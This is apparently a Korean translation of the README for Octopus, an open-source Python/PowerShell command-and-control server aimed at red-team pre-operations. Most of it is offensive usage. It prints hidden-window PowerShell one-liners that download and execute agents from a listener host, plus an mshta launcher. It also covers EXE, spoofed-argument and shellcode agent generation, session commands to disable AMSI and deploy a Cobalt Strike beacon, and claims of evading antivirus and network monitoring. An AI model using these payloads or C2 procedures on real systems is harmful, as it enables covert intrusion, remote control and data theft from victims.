
Python 및 PowerShell 기반의 오픈 소스 사전 운영 C2 서버
Octopus는 HTTP/S를 통해 Octopus 파워쉘 에이전트를 제어할 수 있는, 파이썬 기반의 오픈 소스 사전 작업 C2 서버입니다.
Octopus를 만든 주된 목적은 레드 팀 작업 전에 사용하기 위함입니다. 즉, 전체 작전 무기고와 인프라로 공격을 시작하는 대신, 먼저 Octopus를 사용하여 실제 레드 팀 작업을 시작하기 전에 대상을 공격하고 정보를 수집할 수 있습니다.
Octopus는 매우 간단한 방식으로 작동하여 명령을 실행하고 암호화된 채널을 통해 C2와 정보를 교환하므로, 거의 모든 AV, 엔드포인트 보호 및 네트워크 모니터링 솔루션에서 눈에 띄지 않고 탐지되지 않습니다.
Octopus의 멋진 기능 중 하나는 ESA(Endpoint Situational Awareness)입니다. 이 기능은 대상에 대한 몇 가지 중요한 정보를 수집하여 작전 중에 직면하게 될 대상 네트워크 엔드포인트를 더 잘 이해할 수 있도록 도와주며, 따라서 이 정보를 기반으로 실제 작전을 맞춤화할 수 있는 기회를 제공합니다.
Octopus는 C2와 통신하는 동안 은밀하고 숨겨지도록 설계되었습니다. 기본적으로 파워쉘 에이전트와 C2 서버 간의 암호화된 채널에 AES-256을 사용합니다. 도메인에 유효한 인증서를 제공하고 Octopus C2 서버를 구성하여 SSL/TLS를 사용하도록 선택할 수도 있습니다.
Octopus는 실제로 전체 무기고나 도구 및 기술을 배포하기 전에 다가오는 작업에 대한 통찰력을 얻을 수 있는 여러 기능을 제공합니다. 예를 들어:
다음 명령어를 통해 Octopus의 모든 요구 사항을 설치할 수 있습니다:
pip install -r requirements.txt
셸코딩 기능과 스푸핑된 인수 에이전트를 사용하려면 Linux용 nasm과 'mingw-w64' 컴파일러를 설치해야 합니다.
Debian 기반 배포판에서 nasm을 설치하려면 다음 명령어를 사용하세요:
apt install nasm
그리고 Debian 기반 배포판에서 mingw-w64를 설치하려면 다음 명령어를 사용하세요:
apt install mingw-w64
Octopus는 다음 운영 체제에서 테스트되었습니다:
또한 C# 소스 코드를 문제없이 컴파일할 수 있도록 mono를 설치해야 합니다.
Octopus는 C# 소스 코드를 컴파일하기 위해 mono-csc 바이너리에 의존하며, Kali와 Ubuntu 16.04에서 테스트된 다음 명령어로 설치할 수 있습니다: apt install mono-devel
mono를 설치하지 않고 Octopus를 사용할 수 있지만,
generate_exe명령은 사용할 수 없습니다.
또한 C# 컴파일은 SHA1 해시가 a43ed886b68c6ee913da85df9ad2064f1d81c470인 System.Management.Automation.dll 어셈블리에 의존합니다.
Octopus 사용 중 문제가 발생하면 버그 리포트를 자유롭게 제출해 주세요!
먼저 다음 명령어를 사용하여 최신 버전의 Octopus를 다운로드하세요:
git clone https://github.com/mhaskar/Octopus/
그런 다음 다음 명령어를 사용하여 요구 사항을 설치하세요:
pip install -r requirements.txt
이제 다음 명령어를 실행하여 Octopus 서버를 시작할 수 있습니다:
./octopus.py
실행하면 다음과 같은 화면이 나타납니다:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
Octopus 사용은 매우 간단합니다. 리스너를 시작하고 해당 리스너의 정보를 기반으로 에이전트를 생성하기만 하면 됩니다.
필요한 만큼 리스너를 생성할 수 있으며, 그런 다음 연결되는 에이전트와 상호 작용을 시작할 수 있습니다.
Octopus를 사용하기 전에 C2 동작과 기능을 제어할 URL 처리 프로필을 설정해야 합니다. Octopus는 HTTP 기반 C2이므로 연결을 처리하기 위해 URL에 의존하며, URL이 현재 공격 중인 네트워크에서 시그니처나 IoC로 작동하지 않도록 보장하기 위해 URL을 필요에 따라 쉽게 사용자 정의하고 이름을 바꿀 수 있습니다.
현재 프로필 설정은 URL 처리, 자동 종료 값 및 헤더만 지원합니다.
프로필 설정
프로필 설정을 시작하려면 profile.py 파일을 편집해야 합니다. 이 파일에는 몇 가지 주요 변수가 포함되어 있습니다:
예시:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
에이전트와 리스너는 이 프로필을 사용하여 서로 통신하도록 구성됩니다. 다음으로 리스너를 만드는 방법을 알아야 합니다.
Octopus에는 두 가지 주요 리스너("http 리스너"와 "https 리스너")가 있으며, 두 리스너의 옵션은 대부분 동일합니다.
HTTP 리스너:
listen_http 명령은 시작하기 위해 다음 인수를 사용합니다:
listen_http 명령을 실행하여 예제를 볼 수도 있습니다:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
다음 명령어를 사용하여 리스너를 시작할 수 있습니다:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
다음 결과가 반환됩니다:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
리스너가 성공적으로 시작되었습니다. listeners 명령어를 사용하여 모든 리스너를 볼 수 있습니다:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS 리스너:
HTTPS 리스너를 생성하려면 다음과 같이 listen_https 명령어를 사용할 수 있습니다:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
listen_https 명령은 시작하기 위해 다음 인수를 사용합니다:
사용된 도메인과 연결된 유효한 SSL 인증서를 제공해야 합니다.
파워쉘 원라이너
operation1 리스너에 대한 에이전트를 생성하려면 다음 명령어를 사용할 수 있습니다:
generate_powershell operation1
다음 결과를 얻을 수 있습니다:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
이제 이 원라이너를 사용하여 에이전트를 시작할 수 있습니다.
HTA 원라이너
operation1 리스너에 대한 HTA 원라이너를 생성하려면 다음 명령어를 사용할 수 있습니다:
generate_hta operation1
다음 결과를 얻을 수 있습니다:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
profile.py를 사용하여 /hta URL을 편집할 수 있습니다.
Octopus EXE 에이전트
operation1 리스너에 대한 EXE 에이전트를 생성하려면 다음 명령어를 사용할 수 있습니다:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
다음 결과를 얻을 수 있습니다:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
C# 소스 코드를 컴파일하려면 mono-csc를 설치해야 합니다.
Octopus 스푸핑된 인수 에이전트
Adam Chester의 훌륭한 연구를 기반으로 스푸핑된 인수로 파워쉘 프로세스를 실행하는 새로운 EXE 에이전트를 생성할 수 있습니다.
이 exe를 생성하려면 다음 명령어를 사용할 수 있습니다:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
x64 셸코드 및 x86 셸코드 생성
Octopus는 버전 1.2부터 x64 및 x86 셸코드를 모두 생성할 수 있습니다. 생성된 셸코드는 CreateProcessA를 사용하여 파워쉘 에이전트를 실행하는 powershell.exe 원라이너를 시작합니다.
x64 셸코드를 생성하려면 다음 명령어를 사용할 수 있습니다:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
x86 셸코드를 생성하려면 다음 명령어를 사용할 수 있습니다:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
먼저 list 명령어를 사용하여 연결된 모든 에이전트를 나열할 수 있습니다:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
그런 다음 interact 명령어를 사용하여 호스트와 상호 작용할 수 있습니다:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
help 명령어를 사용하여 사용 가능한 모든 명령어를 나열할 수 있습니다:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
시스템 명령을 직접 실행하려면 명령어를 직접 입력한 다음 리스너를 생성할 때 설정한 간격 확인 시간에 따라 결과를 기다리면 됩니다.
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
이 경우 명령어가 암호화된 후 에이전트로 전송되고, 클라이언트가 명령어를 복호화하여 실행하며, 에이전트가 결과를 암호화한 후 다시 C2로 보내 복호화하여 결과를 표시합니다.
report 명령어를 사용하여 ESA 정보를 얻을 수도 있습니다:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
외부 파워쉘 모듈을 로드하려면 modules 디렉토리에 배치한 후 load module.ps1을 실행하면 됩니다.
또한 modules 명령어를 실행하여 모듈 디렉토리의 모든 모듈을 나열할 수 있습니다:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
Ian Lyte - Octopus의 여러 버그를 보고하고 향상된 AMSI 우회 모듈을 제공했습니다.
Khlief - HTA 모듈을 추가하고 다운로드 기능의 버그를 수정했습니다.
Moath Maharmah - 암호화 모듈을 개선하고 다가오는 릴리스에 추가될 독립 실행형 C# Octopus 에이전트를 작성했습니다.
TeslaPulse - Octopus 테스트
J005 - 향상된 파워쉘 원라이너를 추가하고 HID 공격 스크립트의 문제를 수정했습니다.
이 프로젝트는 GPL-3.0 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.